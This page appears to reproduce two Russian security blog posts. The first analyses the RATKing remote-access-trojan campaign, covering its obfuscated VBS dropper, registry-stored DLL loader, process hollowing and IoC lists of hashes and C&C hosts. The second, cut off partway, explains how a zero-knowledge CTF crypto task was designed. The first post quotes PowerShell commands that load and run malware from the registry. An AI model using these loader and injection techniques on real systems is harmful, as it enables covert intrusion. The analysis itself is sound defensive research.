Русский
Русский
English
Статистика
Реклама

Блог компании bi.zone

RATKing новая кампания с троянами удаленного доступа

26.06.2020 12:10:59 | Автор: admin
Вконце мая мыобнаружили кампанию распространения ВПО класса Remote Access Trojan (RAT) программ, которые позволяют злоумышленникам удаленно управлять зараженной системой.

Рассматриваемая нами группировка отличилась тем, что она невыбрала для заражения какое-то определенное семейство RAT. Ватаках врамках кампании были замечены сразу несколько троянов (все вшироком доступе). Этой чертой группировка напомнила нам окрысином короле мифическом животном, которое состоит изгрызунов спереплетенными хвостами.



Оригинал взят измонографии К.Н.Россикова Мыши имышевидные грызуны, наиболее важные вхозяйственном отношении (1908г.)

Вчесть этого существа мыназвали рассматриваемую нами группировку RATKing. Вэтом посте мырасскажем подробно отом, как злоумышленники проводили атаку, какие инструменты они использовали, атакже поделимся своими соображениями относительно атрибуции этой кампании.

Ход атаки


Все атаки вэтой кампании проходили последующему алгоритму:

  1. Пользователь получал фишинговое письмо соссылкой наGoogle Drive.
  2. Поссылке жертва скачивала вредоносный VBS-скрипт, который прописывал DLL-библиотеку для загрузки конечного пейлоада вреестр Windows изапускал PowerShell, чтобы исполнитьее.
  3. DLL-библиотека внедряла конечный пейлоад собственно, один изиспользуемых злоумышленниками RAT всистемный процесс ипрописывала VBS-скрипт вавтозапуск, чтобы закрепиться взараженной машине.
  4. Конечный пейлоад исполнялся всистемном процессе идавал злоумышленнику возможность управлять зараженным компьютером.

Схематически это можно представить так:



Далее мысосредоточимся напервых трех этапах, поскольку нас интересует именно механизм доставки ВПО. Мынестанем подробно описывать механизм работы самих вредоносов. Они находятся вшироком доступе либо продаются наспециализированных форумах, либо ивовсе распространяются как проекты соткрытым исходным кодом, азначит, неуникальны для группировки RATKing.

Анализ этапов атаки


Этап1. Фишинговая рассылка


Атака начиналась стого, что жертва получала вредоносное письмо (злоумышленники использовали разные шаблоны стекстом, наскриншоте ниже приведен один изпримеров). Всообщении была ссылка налегитимное хранилище drive.google.com, которая якобы вела настраницу загрузки документа вформате PDF.



Пример фишингового письма

Однако наделе загружался вовсе неPDF-документ, аVBS-скрипт.

При переходе поссылке изписьма наскриншоте выше загружался файл сименем Cargo Flight Details.vbs. Вэтом случае злоумышленники даже непытались замаскировать файл под легитимный документ.

Втоже время врамках этой кампании мыобнаружили скрипт сименем Cargo Trip Detail.pdf.vbs. Онуже мог сойти залегитимный PDF, потому что поумолчанию Windows скрывает расширение файлов. Правда, вэтом случае подозрение все еще могла вызвать его иконка, соответствовавшая VBS-скрипту.

Наэтом этапе жертва могла распознать обман: достаточно насекунду присмотреться кскачиваемым файлам. Однако втаких фишинговых кампаниях злоумышленники зачастую рассчитывают именно наневнимательного или спешащего пользователя.

Этап2. Работа VBS-скрипта


VBS-скрипт, который пользователь мог открыть понеосторожности, прописывал DLL-библиотеку вреестр Windows. Скрипт был обфусцирован: строки внем записаны ввиде байтов, разделенных произвольным символом.



Пример обфусцированного скрипта

Алгоритм деобфускации достаточно прост: изобфусцированной строки исключался каждый третий символ, после чего результат декодировался изbase16в исходную строку. Например, иззначения 57Q53s63t72s69J70r74e2El53v68m65j6CH6Ct (выделено наскриншоте выше) получалась строка WScript.Shell.

Для деобфускации строк мыиспользовали функцию наPython:

def decode_str(data_enc):       return binascii.unhexlify(''.join([data_enc[i:i+2] for i in range(0, len(data_enc), 3)]))

Ниже настроках 910 выделено значение, при деобфускации которого получался DLL-файл. Именно онзапускался наследующем этапе спомощью PowerShell.



Строка собфусцированным DLL

Каждая функция вVBS-скрипте выполнялась помере деобфускации строк.

После запуска скрипта вызывалась функция wscript.sleep сеепомощью выполнялось отложенное исполнение.

Далее скрипт работал среестром Windows. Ониспользовал для этого технологию WMI. Сеепомощью создавался уникальный ключ, ивего параметр записывалось тело исполняемого файла. Обращение креестру через WMI выполнялось спомощью следующей команды:

GetObject(winmgmts {impersonationLevel=impersonate}!\\.\root\default:StdRegProv)



Запись, сделанная вреестре VBS-скриптом

Этап3. Работа DLL-библиотеки


Натретьем этапе вредоносная DLL-библиотека загружала конечный пейлоад, внедряла его всистемный процесс иобеспечивала автозапуск VBS-скрипта при входе пользователя всистему.

Запуск через PowerShell

DLL-библиотека исполнялась спомощью следующей команды вPowerShell:

[System.Threading.Thread]::GetDomain().Load((ItemProperty HKCU:\/\/\/Software\/\/\/<rnd_sub_key_name> ).<rnd_value_name>);[GUyyvmzVhebFCw]::EhwwK('WScript.ScriptFullName', 'rWZlgEtiZr', 'WScript.ScriptName'),0

Эта команда делала следующее:

  • получала данные значения реестра сименем rnd_value_name эти данные представляли собой DLL-файл, написанный наплатформе .Net;
  • загружала полученный .Net-модуль впамять процесса powershell.exeспомощью функции [System.Threading.Thread]::GetDomain().Load()(подробное описание функции Load() доступно насайте Microsoft);
  • исполняла функциюGUyyvmzVhebFCw]::EhwwK() снее начиналось исполнение DLLбиблиотеки спараметрами vbsScriptPath, xorKey, vbsScriptName. Параметр xorKey хранил ключ для расшифровки конечного пейлоада, апараметры vbsScriptPathиvbsScriptName передавались для того, чтобы прописать VBS-скрипт вавтозапуск.

Описание DLL-библиотеки

Вдекомпилированном виде загрузчик выглядел так:



Загрузчик вдекомпилированном виде (красным подчеркнута функция, скоторой начиналось исполнение DLL-библиотеки)

Загрузчик защищен протектором .Net Reactor. Соснятием данного протектора отлично справляется утилита de4dot.

Данный загрузчик:

  • осуществлял инжект пейлоада всистемный процесс (вданном примере это svchost.exe);
  • прописывал VBS-скрипт вавтозапуск.

Инжект пейлоада

Рассмотрим функцию, которую вызывал PowerShell-скрипт.



Функция, вызываемая PowerShell-скриптом

Данная функция осуществляла следующие действия:

  • расшифровывала два массива данных (array иarray2 наскриншоте). Первоначально они были сжаты спомощью gzip изашифрованы алгоритмом XOR сключом xorKey;
  • копировала данные ввыделенные области памяти. Данные изarray вобласть памяти, накоторую указывал intPtr(payload pointer наскриншоте); данные изarray2 вобласть памяти, накоторую указывал intPtr2(shellcode pointer наскриншоте);
  • вызывала функцию CallWindowProcA(описание этой функции есть насайте Microsoft) соследующими параметрами (ниже перечислены имена параметров, наскриншоте они идут втомже порядке, носрабочими значениями):
    • lpPrevWndFuncуказатель наданные из array2;
    • hWndуказатель настроку, содержащую путь кисполняемому файлу svchost.exe;
    • Msgуказатель наданные из array;
    • wParam,lParam параметры сообщения (вданном случае эти параметры неиспользовались иимели значения 0);
  • создавала файл %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\<name>.url, где <name> это первые 4символа параметра vbsScriptName(наскриншоте фрагмент кода сэтим действием начинается скоманды File.Copy). Таким образом вредонос добавлял URL-файл всписок файлов для автозапуска при входе пользователя всистему итем самым закреплялся назараженном компьютере. URL-файл содержал ссылку наскрипт:

[InternetShortcut]URL = file : ///<vbsScriptPath>

Для понимания того, как осуществлялся инжект, мырасшифровали массивы данных array и array2. Для этого мыиспользовали следующую функцию наPython:

def decrypt(data, key):    return gzip.decompress(        bytearray([data[i] ^ key[i % len(key)] for i in range(len(data))])[4:])    

Врезультате мывыяснили, что:

  • array представлял собой PE-файл это иесть конечный пейлоад;
  • array2 представлял собой шелл-код, необходимый для осуществления инжекта.

Шелл-код измассива array2 передавался вкачестве значения функции lpPrevWndFunc вфункцию CallWindowProcA. lpPrevWndFunc функция обратного вызова, еепрототип выглядит так:

LRESULT WndFunc(  HWND    hWnd,  UINT    Msg,  WPARAM  wParam,  LPARAM  lParam);

Таким образом, при запуске функции CallWindowProcA спараметрами hWnd, Msg, wParam, lParamисполняется шелл-код измассива array2 саргументами hWnd и Msg. hWnd это указатель настроку, содержащую путь кисполняемому файлу svchost.exe, а Msg указатель наконечный пейлоад.

Шелл-код получал адреса функций изkernel32.dllиntdll32.dllпозначениям хешей отихимен ивыполнял инжект конечного пейлоада впамять процесса svchost.exe, используя технику Process Hollowing (подробно оней можно прочитать вэтой статье). При инжекте шелл-код:

  • создавал процесс svchost.exe вприостановленном состоянии при помощи функции CreateProcessW;
  • затем скрывал отображение секции вадресном пространстве процесса svchost.exeпри помощи функции NtUnmapViewOfSection. Таким образом программа освобождала память оригинального процесса svchost.exe, чтобы затем поэтому адресу выделить память для пейлоада;
  • выделял память для пейлоада вадресном пространстве процесса svchost.exe при помощи функции VirtualAllocEx;



Начало процесса инжекта

  • записывал содержимое пейлоада вадресное пространство процесса svchost.exe при помощи функции WriteProcessMemory (как наскриншоте ниже);
  • возобновлял процесс svchost.exe при помощи функции ResumeThread.



Завершение процесса инжекта

Загружаемое ВПО


Врезультате описанных действий взараженной системе устанавливалась одна изнескольких вредоносных программ класса RAT. Втаблице ниже перечислены использованные ватаке вредоносы, которые мысуверенностью можем приписать одной группе злоумышленников, поскольку семплы обращались кодному итомуже серверу управления.
Название ВПО
Впервые замечено
SHA-256
C&C
Процесс, вкоторый осуществляется инжект
Darktrack
16-04-2020
ea64fe672c953adc19553ea3b9118ce4ee88a14d92fc7e75aa04972848472702
kimjoy007.dyndns[.]org:2017
svchost
Parallax
24-04-2020
b4ecd8dbbceaadd482f1b23b712bcddc5464bccaac11fe78ea5fd0ba932a4043
kimjoy007.dyndns[.]org:2019
svchost
WARZONE
18-05-2020
3786324ce3f8c1ea3784e5389f84234f81828658b22b8a502b7d48866f5aa3d3
kimjoy007.dyndns[.]org:9933
svchost
Netwire
20-05-2020
6dac218f741b022f5cad3b5ee01dbda80693f7045b42a0c70335d8a729002f2d
kimjoy007.dyndns[.]org:2000
svchost

Примеры распространяемого ВПО содним итемже сервером управления

Здесь примечательны две вещи.

Во-первых, сам факт, что злоумышленники использовали сразу несколько различных семейств RAT. Такое поведение нехарактерно для известных кибергруппировок, которые зачастую используют приблизительно одинаковый набор привычных для них инструментов.

Во-вторых, RATKing использовали вредоносы, которые либо продаются наспециализированных форумах занебольшую цену, либо ивовсе являются проектами соткрытым исходным кодом.

Более полный перечень использованного вкампании ВПО содной важной оговоркой приведен вконце статьи.

Огруппировке


Мынеможем отнести описанную вредоносную кампанию ккаким-либо известным злоумышленникам. Пока мысчитаем, что эти атаки совершила принципиально новая группировка. Как мыуже писали вначале, мыназвали ееRATKing.

Для создания VBS-скрипта группировка, вероятно, использовала инструмент, похожий наутилиту VBS-Crypter отразработчика NYAN-x-CAT. Наэто указывает схожесть скрипта, который создает эта программа, соскриптом злоумышленников. Вчастности, они оба:

  • осуществляют отложенное исполнение спомощью функции Sleep;
  • используют WMI;
  • прописывают тело исполняемого файла вкачестве параметра ключа реестра;
  • исполняют этот файл при помощи PowerShell вегоже адресном пространстве.

Для наглядности сравните команду PowerShell для запуска файла изреестра, которую использует скрипт, созданный спомощью VBS-Crypter:

((Get-ItemPropertyHKCU:\Software\NYANxCAT\).NYANxCAT);$text=-join$text[-1..-$text.Length];[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String($text)).EntryPoint.Invoke($Null,$Null);

саналогичной командой, которую использовал скрипт злоумышленников:

[System.Threading.Thread]::GetDomain().Load((ItemProperty HKCU:\/\/\/Software\/\/\/<rnd_sub_key_name> ).<rnd_value_name>);[GUyyvmzVhebFCw]::EhwwK('WScript.ScriptFullName', 'rWZlgEtiZr', 'WScript.ScriptName'),0

Заметим, что вкачестве одного изпейлоадов злоумышленники использовали другую утилиту отNYAN-x-CAT LimeRAT.

Адреса C&C-серверов указывают наеще одну отличительную черту RATKing: группировка предпочитает сервисы динамического DNS (см. перечень C&Cв таблице сIoC).

IoC


Втаблице ниже приведен полный перечень VBS-скриптов, которые сбольшой вероятностью можно отнести кописанной кампании. Все эти скрипты похожи иосуществляют примерно одинаковую последовательность действий. Все они инжектят ВПО класса RAT вдоверенный процесс Windows. Увсех них адреса C&C зарегистрированы сиспользованием Dynamic DNS-сервисов.

Тем неменее, мынеможем утверждать, что все эти скрипты распространялись одними итемиже злоумышленниками, заисключением семплов содинаковыми адресами C&C (например, kimjoy007.dyndns.org).
Название ВПО
SHA-256
C&C
Процесс, вкоторый осуществляется инжект
Parallax
b4ecd8dbbceaadd482f1b23b712bcddc5464bccaac11fe78ea5fd0ba932a4043
kimjoy007.dyndns.org
svchost
00edb8200dfeee3bdd0086c5e8e07c6056d322df913679a9f22a2b00b836fd72
hope.doomdns.org
svchost
504cbae901c4b3987aa9ba458a230944cb8bd96bbf778ceb54c773b781346146
kimjoy007.dyndns.org
svchost
1487017e087b75ad930baa8b017e8388d1e99c75d26b5d1deec8b80e9333f189
kimjoy007.dyndns.org
svchost
c4160ec3c8ad01539f1c16fb35ed9c8c5a53a8fda8877f0d5e044241ea805891
franco20.dvrdns.org
svchost
515249d6813bb2dde1723d35ee8eb6eeb8775014ca629ede017c3d83a77634ce
kimjoy007.dyndns.org
svchost
1b70f6fee760bcfe0c457f0a85ca451ed66e61f0e340d830f382c5d2f7ab803f
franco20.dvrdns.org
svchost
b2bdffa5853f29c881d7d9bff91b640bc1c90e996f85406be3b36b2500f61aa1
hope.doomdns.org
svchost
c9745a8f33b3841fe7bfafd21ad4678d46fe6ea6125a8fedfcd2d5aee13f1601
kimjoy007.dyndns.org
svchost
1dfc66968527fbd4c0df2ea34c577a7ce7a2ba9b54ba00be62120cc88035fa65
franco20.dvrdns.org
svchost
c6c05f21e16e488eed3001d0d9dd9c49366779559ad77fcd233de15b1773c981
kimjoy007.dyndns.org
cmd
3b785cdcd69a96902ee62499c25138a70e81f14b6b989a2f81d82239a19a3aed
hope.doomdns.org
svchost
4d71ceb9d6c53ac356c0f5bdfd1a5b28981061be87e38e077ee3a419e4c476f9
2004para.ddns.net
svchost
00185cc085f284ece264e3263c7771073a65783c250c5fd9afc7a85ed94acc77
hope.doomdns.org
svchost
0342107c0d2a069100e87ef5415e90fd86b1b1b1c975d0eb04ab1489e198fc78
franco20.dvrdns.org
svchost
de33b7a7b059599dc62337f92ceba644ac7b09f60d06324ecf6177fff06b8d10
kimjoy007.dyndns.org
svchost
80a8114d63606e225e620c64ad8e28c9996caaa9a9e87dd602c8f920c2197007
kimjoy007.dyndns.org
svchost
acb157ba5a48631e1f9f269e6282f042666098614b66129224d213e27c1149bb
hope.doomdns.org
cmd
bf608318018dc10016b438f851aab719ea0abe6afc166c8aea6b04f2320896d3
franco20.dvrdns.org
svchost
4d0c9b8ad097d35b447d715a815c67ff3d78638b305776cde4d90bfdcb368e38
hope.doomdns.org
svchost
e7c676f5be41d49296454cd6e4280d89e37f506d84d57b22f0be0d87625568ba
kimjoy007.dyndns.org
svchost
9375d54fcda9c7d65f861dfda698e25710fda75b5ebfc7a238599f4b0d34205f
franco20.dvrdns.org
svchost
128367797fdf3c952831c2472f7a308f345ca04aa67b3f82b945cfea2ae11ce5
kimjoy007.dyndns.org
svchost
09bd720880461cb6e996046c7d6a1c937aa1c99bd19582a562053782600da79d
hope.doomdns.org
svchost
0a176164d2e1d5e2288881cc2e2d88800801001d03caedd524db365513e11276
paradickhead.homeip.net
svchost
0af5194950187fd7cbd75b1b39aab6e1e78dae7c216d08512755849c6a0d1cbe
hope.doomdns.org
svchost
Warzone
3786324ce3f8c1ea3784e5389f84234f81828658b22b8a502b7d48866f5aa3d3
kimjoy007.dyndns.org
svchost
db0d5a67a0ced6b2de3ee7d7fc845a34b9d6ca608e5fead7f16c9a640fa659eb
kimjoy007.dyndns.org
svchost
Netwire
6dac218f741b022f5cad3b5ee01dbda80693f7045b42a0c70335d8a729002f2d
kimjoy007.dyndns.org
svchost
Darktrack
ea64fe672c953adc19553ea3b9118ce4ee88a14d92fc7e75aa04972848472702
kimjoy007.dyndns.org
svchost
WSH RAT
d410ced15c848825dcf75d30808cde7784e5b208f9a57b0896e828f890faea0e
anekesolution.linkpc.net
RegAsm

Lime


896604d27d88c75a475b28e88e54104e66f480bcab89cc75b6cdc6b29f8e438b
softmy.duckdns.org
RegAsm
QuasarRAT
bd1e29e9d17edbab41c3634649da5c5d20375f055ccf968c022811cd9624be57
darkhate-23030.portmap.io
RegAsm
12044aa527742282ad5154a4de24e55c9e1fae42ef844ed6f2f890296122153b
darkhate-23030.portmap.io
RegAsm
be93cc77d864dafd7d8c21317722879b65cfbb3297416bde6ca6edbfd8166572
darkhate-23030.portmap.io
RegAsm
933a136f8969707a84a61f711018cd21ee891d5793216e063ac961b5d165f6c0
darkhate-23030.portmap.io
RegAsm
71dea554d93728cce8074dbdb4f63ceb072d4bb644f0718420f780398dafd943
chrom1.myq-see.com
RegAsm
0d344e8d72d752c06dc6a7f3abf2ff7678925fde872756bf78713027e1e332d5
darkhate-23030.portmap.io
RegAsm
0ed7f282fd242c3f2de949650c9253373265e9152c034c7df3f5f91769c6a4eb
darkhate-23030.portmap.io
RegAsm
aabb6759ce408ebfa2cc57702b14adaec933d8e4821abceaef0c1af3263b1bfa
darkhate-23030.portmap.io
RegAsm
1699a37ddcf4769111daf33b7d313cf376f47e92f6b92b2119bd0c860539f745
darkhate-23030.portmap.io
RegAsm
3472597945f3bbf84e735a778fd75c57855bb86aca9b0a4d0e4049817b508c8c
darkhate-23030.portmap.io
RegAsm
809010d8823da84cdbb2c8e6b70be725a6023c381041ebda8b125d1a6a71e9b1
darkhate-23030.portmap.io
RegAsm
4217a2da69f663f1ab42ebac61978014ec4f562501efb2e040db7ebb223a7dff
darkhate-23030.portmap.io
RegAsm
08f34b3088af792a95c49bcb9aa016d4660609409663bf1b51f4c331b87bae00
darkhate-23030.portmap.io
RegAsm
79b4efcce84e9e7a2e85df7b0327406bee0b359ad1445b4f08e390309ea0c90d
darkhate-23030.portmap.io
RegAsm
12ea7ce04e0177a71a551e6d61e4a7916b1709729b2d3e9daf7b1bdd0785f63a
darkhate-23030.portmap.io
RegAsm
d7b8eb42ae35e9cc46744f1285557423f24666db1bde92bf7679f0ce7b389af9
darkhate-23030.portmap.io
RegAsm
def09b0fed3360c457257266cb851fffd8c844bc04a623c210a2efafdf000d5c
darkhate-23030.portmap.io
RegAsm
50119497c5f919a7e816a37178d28906fb3171b07fc869961ef92601ceca4c1c
darkhate-23030.portmap.io
RegAsm
ade5a2f25f603bf4502efa800d3cf5d19d1f0d69499b0f2e9ec7c85c6dd49621
darkhate-23030.portmap.io
RegAsm
189d5813c931889190881ee34749d390e3baa80b2c67b426b10b3666c3cc64b7
darkhate-23030.portmap.io
RegAsm
c3193dd67650723753289a4aebf97d4c72a1afe73c7135bee91c77bdf1517f21
darkhate-23030.portmap.io
RegAsm
a6f814f14698141753fc6fb7850ead9af2ebcb0e32ab99236a733ddb03b9eec2
darkhate-23030.portmap.io
RegAsm
a55116253624641544175a30c956dbd0638b714ff97b9de0e24145720dcfdf74
darkhate-23030.portmap.io
RegAsm
d6e0f0fb460d9108397850169112bd90a372f66d87b028e522184682a825d213
darkhate-23030.portmap.io
RegAsm
522ba6a242c35e2bf8303e99f03a85d867496bbb0572226e226af48cc1461a86
darkhate-23030.portmap.io
RegAsm
fabfdc209b02fe522f81356680db89f8861583da89984c20273904e0cf9f4a02
darkhate-23030.portmap.io
RegAsm
08ec13b7da6e0d645e4508b19ba616e4cf4e0421aa8e26ac7f69e13dc8796691
darkhate-23030.portmap.io
RegAsm
8433c75730578f963556ec99fbc8d97fa63a522cef71933f260f385c76a8ee8d
darkhate-23030.portmap.io
RegAsm
99f6bfd9edb9bf108b11c149dd59346484c7418fc4c455401c15c8ac74b70c74
darkhate-23030.portmap.io
RegAsm
d13520e48f0ff745e31a1dfd6f15ab56c9faecb51f3d5d3d87f6f2e1abe6b5cf
darkhate-23030.portmap.io
RegAsm
9e6978b16bd52fcd9c331839545c943adc87e0fbd7b3f947bab22ffdd309f747
darkhate-23030.portmap.io
RegAsm
Подробнее..

Самописная криптуха. Vulnerable by design

08.09.2020 12:21:09 | Автор: admin

Автор: Иннокентий Сенновский (rumata888)


Как заинтересовать студента скучным предметом? Придать учебе форму игры. Довольно давно кто-то придумал такую игру в области безопасности Capture the Flag, или CTF. Так ленивым студентам было интереснее изучать, как реверсить программы, куда лучше вставить кавычки и почему проприетарное шифрование это как с разбегу прыгнуть на грабли.


Студенты выросли, и теперь в этих играх участвуют и взрослые прожженные специалисты с детьми и ипотекой. Они многое успели повидать, поэтому сделать таск для CTF, чтобы старики не ныли, не самая простая задача.


А переборщишь с хардкором и взвоют команды, у которых это непрофильная предметная область или первый серьезный CTF.


В статье я расскажу, как наша команда нашла баланс между хм, нечто новенькое и это какая-то жесть, разрабатывая таск по крипте для финала CTFZone в этом году.


Финальный scoreboard CTFZone 2020


Финальный scoreboard CTFZone 2020


Содержание


  1. Необязательное введение: объясняем CTF за 2 минуты
  2. Как мы поняли, что нам нужна крипта
  3. Как мы выбрали стек
  4. Как мы нашли идею для задания
    4.1. А. Что такое Гамильтоновость графов
    4.2. Б. Как идентифицировать себя с помощью Гамильтонова цикла
  5. Как мы построили задание
    5.1. Протокол: вид сверху
    5.2. Протокол: внутренности
    5.3. Последняя уязвимость
  6. Как мы разрабатывали таск
  7. Как мы тестировали таск
  8. Как мы боролись с читерством
  9. Заключение

Необязательное введение: объясняем CTF за 2 минуты


Для тех, кто не знаком с CTF, это соревнования среди специалистов по практической кибербезопасности. Их проводят профильные организации, CTF-команды и университеты.


Различают два вида турниров: jeopardy и attack-defense.


Турниры jeopardy проходят онлайн. Он устроены по формату американской телевикторины Jeopardy!, в российской версии известной как Своя игра. Участникам предлагают разнообразные задания, за выполнение которых начисляют очки. Чем сложнее задание, тем дороже правильный ответ. Выигрывает команда, у которой больше всего очков.


Турниры attack-defense (AD) немного сложнее. Участники соревнуются в предоставленной организатором инфраструктуре, поэтому такие соревнования обычно проводят офлайн например на конференциях. Часто в этом формате проходят финалы: для участия в attack-defense командам нужно попасть в топ-10 или топ-20 по итогам отборочного турнира jeopardy.


На старте соревнования AD команды получают vulnboxes виртуальные машины или хосты с уязвимыми сервисами, которые необходимо защищать. У всех команд vulnboxes одинаковые. Задача участников защитить свои хосты, при этом сохранить их доступность для сервера проверки (checker). То есть нельзя обеспечить безопасность хоста, просто закрыв к нему доступ.


Одновременно нужно атаковать хосты соперников, чтобы захватить флаги уникальные идентификаторы, которые сервер проверки размещает на хостах на каждом раунде. Как правило, раунд длится 5 минут. За захват флага команды получают очки. Если vulnbox не доступен для сервера проверки, очки отнимаются.


Итак, перед каждой командой стоят следующие цели:


  • поддержать функционирование vulnbox;
  • устранять ошибки, чтобы защитить его отатак;
  • атаковать хосты соперников, чтобы захватить флаги.

Если вы когда-либо принимали участие в CTF, то наверняка помните, что задания разделяются на несколько категорий:


  • web,
  • pwn,
  • misc,
  • PPC,
  • forensic,
  • reverse,
  • crypto (то есть криптография, а не криптовалюта).

Бывают и миксы, и задания вне категорий, но вообще этот список скорей описывает задания для турниров jeopardy. У некоторых тасков нет интерактивного компонента, и для AD они плохо подходят. В категории Криптография тоже есть свои нюансы, из-за которых мы долго сомневались, включать ли крипту в финал нашего соревнования CTFZone.


Как мы поняли, что нам нужна крипта


Планируя финал CTFZone, мы обсуждали, есть ли смысл разрабатывать криптографический таск для турнира AD.


Дело в том, что ошибки на каждом уязвимом хосте в рамках AD, как правило, имеют разный уровень сложности. Простые ошибки закладывают, чтобы их смогли обнаружить более слабые команды и порадоваться маленькой победе. Сильным командам такие ошибки позволяют быстрее захватить флаги соперников, и это придает состязанию динамичности.


К сожалению, в случае с криптографией уже на первой ошибке команды могут застрять. Придумывать новые простые криптографические уязвимости довольно сложно. В результате приходится использовать широко известные уязвимости, например повторное использование nonce в ECDSA, которые опытные команды обнаруживают сходу, а новички не могут найти вовсе.


Если исключить простые ошибки, можно сделать еще хуже. Как-то я участвовал в AD-состязании со сложными и интересными криптографическими заданиями, где простых тасков не было совсем. Но проблема была в том, что в каждом раунде захватить флаг удавалось только одной команде: кража по сути стирала флаг. Такая схема разочарует атакующих, которые потратили время на продумывание атаки, а в результате ничего не получили.


Иными словами, криптографические задания довольно часто разочаровывают либо организаторов (потому что команды недостаточно углубляются в задание), либо участников. Поэтому у нас были большие сомнения, стоит ли вообще делать крипту.


Однако вскоре стало понятно, что без криптографического компонента у нас окажется слишком много веба, а в CTF важно разнообразие. Так что выбора не осталось нужно было делать таск.


Таск должен был быть сложным, но одновременно под силу новичкам, но чтобы решение стоило потраченных усилий. Элементарно, не правда ли? :)


Как мы выбрали стек


Как правило, найти и устранить ошибки при выполнении криптозаданий достаточно просто, потому что они чаще всего написаны на скриптовых языках типа Python. Читаешь код, замечаешь ошибку и устраняешь ее.


Мы подумали, что для квалификационного этапа DEF CON это несерьезно, поэтому для нашего стека решили использовать Python + C (звучит убийственно, знаю). Большая часть функциональности была реализована на языке C, тогда как Python обеспечивал удобную обертку для манипуляций с сокетами, а также функциональность сервера.


После того, как мы определились со стеком, надо было понять, какие системы использовать и какие ошибки предусмотреть в этих системах.


Как мы нашли идею для задания


Мы не хотели, чтобы в задании было много уязвимостей, известных любому участнику CTF, поэтому решили остановиться на менее стандартном решении Zero Knowledge Proofs of Knowledge (ZKPoK), то есть протоколе доказательства с нулевым разглашением. Идея заключается в том, чтобы доказать, что вам известна какая-либо секретная информация, не раскрывая эту информацию. Было решено использовать ZKPoK в качестве схемы идентификации: если сервер проверки сможет что-либо доказать, он получает флаг. В основу нашей схемы была положена гамильтоновость графов.


А. Что такое Гамильтоновость графов


Оговорка. Я не математик и не криптограф. Нижеприведенные утверждения могут быть неверными с математической точки зрения и не учитывать все детали. Моя цель рассказать о концепции, не перегружая читателя излишними подробностями.


Итак, допустим, есть некий граф. Цикл, который проходит через каждую вершину этого графа ровно по одному разу, называется Гамильтоновым.


Найти Гамильтонов цикл для графа сложная задача. С другой стороны, создать граф с Гамильтоновым циклом проще простого. Я покажу, как это сделать.




Но сначала немного вводной информации.


Мы решили представить наши графы с помощью матриц смежности. Это квадратные матрицы, в которых две вершины, соединенные ребром, обозначаются единицей в соответствующей ячейке, и нулем, если они не соединяются. Например, имеется 4 вершины: A, B, C, D. A соединена с B, C соединена с D.


Матрица будет выглядеть следующим образом:
Матрица


В зависимости от того, какие задачи вы решаете с помощью графа, диагональ можно заполнить нулями или единицами.


Итак, если вы создаете граф с известным Гамильтоновым циклом, первым делом нужно перемешать массив вершин: например, ABCD BADC. Из этого массива вы определяете циклический порядок следования вершин (контур): BADCB.




Далее вы отображаете эту зависимость при помощи матрицы. На первом шаге все ячейки в матрице заполнены нулями. Затем для каждого направленного ребра графа вы заменяете текущее значение в ячейке на единицу. Ряд этой ячейки определяется индексом начальной вершины этого ребра, а столбец индексом конечной вершины. Получаем следующее:


Матрица


В результате получаем матрицу, у которой в каждом столбце и в каждом ряду по одной единице. Теперь у нас есть Гамильтонов цикл.


На основе полученного цикла мы легко можем создать граф, добавив произвольные ребра. Нам удобнее будет использовать симметричные графы, поэтому для ребра добавляем симметричное ему, если оно еще не существует.


Один из возможных результатов таких действий это следующая матрица смежности:


Матрица смежности


Как видно, каждому ребру (x, y) соответствует (y, x), и я добавил ребро между B и D.


Б. Как идентифицировать себя с помощью Гамильтонова цикла


Схема простая:


  • каким-нибудь другим методом публикуем граф, который содержит Гамильтонов цикл. Он в открытом доступе и виден всем;
  • подключаемся к серверу команды и доказываем, что нам известен цикл, не раскрывая сам цикл.

Часть с доказательством проходит в три этапа, не считая подготовительного, при этом мы принимаем роль Доказывающего (Prover), а сервер выполняет роль Проверяющего (Verifier).


0. Подготовительный этап. Мы переставляем вершины графа в случайном порядке, например: ABCDA. Используя эту перестановку, мы получаем новый граф, который будет изоморфным (т. е. все отношения между элементами сохранятся) по отношению к первому. Это достигается за счет представления перестановки в виде графа и выполнения нескольких операций по умножению и транспонированию (симметричному отображению элементов относительно диагонали) матриц.


Умножение и транспонирование матриц


Далее мы вычисляем Гамильтонов цикл на новом графе, применяя такие же перестановки к матрице инцидентности этого цикла. В качестве результата мы получаем новый граф с Гамильтоновым циклом тоже изоморфный по отношению к исходному.


1. Этап обязательства. Получив новый граф, мы отправляем на сервер так называемое обязательство (commitment). В нашем случае обязательство содержит граф, созданный путем перестановки вершин, и два закрытых контейнера: первый содержит созданную нами перестановку, а второй цикл, полученный в результате перестановки. Проверяющий получает оба контейнера в запечатанном виде, поэтому он не может заглянуть внутрь, но Доказывающий может раскрыть их содержимое в любое время.


Обязательства должны обладать двумя важными свойствами:


  1. скрывать данные. У Проверяющего не должно быть возможности открыть контейнеры без помощи Доказывающего;
  2. носить обязательный характер. Если Доказывающий принял на себя обязательство, у него не должно быть возможности изменить содержимое контейнеров. У него есть только один выбор: оставить крышку открытой или закрытой.

2. Этап вызова. После того как Доказывающий направил свои обязательства, Проверяющий произвольно выбирает бит вызова (challenge) $b \in \{0,1\}$ и отправляет Доказывающему. В ответ на это Доказывающий направляет информацию, в которой открывается или первый (если $b=0$) или второй (если $b=1$) контейнер обязательства.


Случайный бит вызова нужен, чтобы Доказывающий не знал заранее, какой контейнер придется открыть иначе он легко обманет Проверяющего.


3. Этап проверки. Теперь, в зависимости от выбранного бита вызова, Проверяющий может узнать либо перестановку, при помощи которой Доказывающий создал новый граф, либо Гамильтонов цикл на новом графе. То есть Доказывающий убеждает Проверяющего либо в том, что он знает цикл на новом графе, либо в том, что новый граф изоморфен опубликованному.


Вся прелесть состоит в том, что предоставить доказательства для обоих утверждений может только честный Доказывающий, которому действительно известен Гамильтонов цикл на оригинальном графе. Без этих знаний можно лишь пытаться обмануть Проверяющего, угадав, какой бит вызова он сгенерирует.


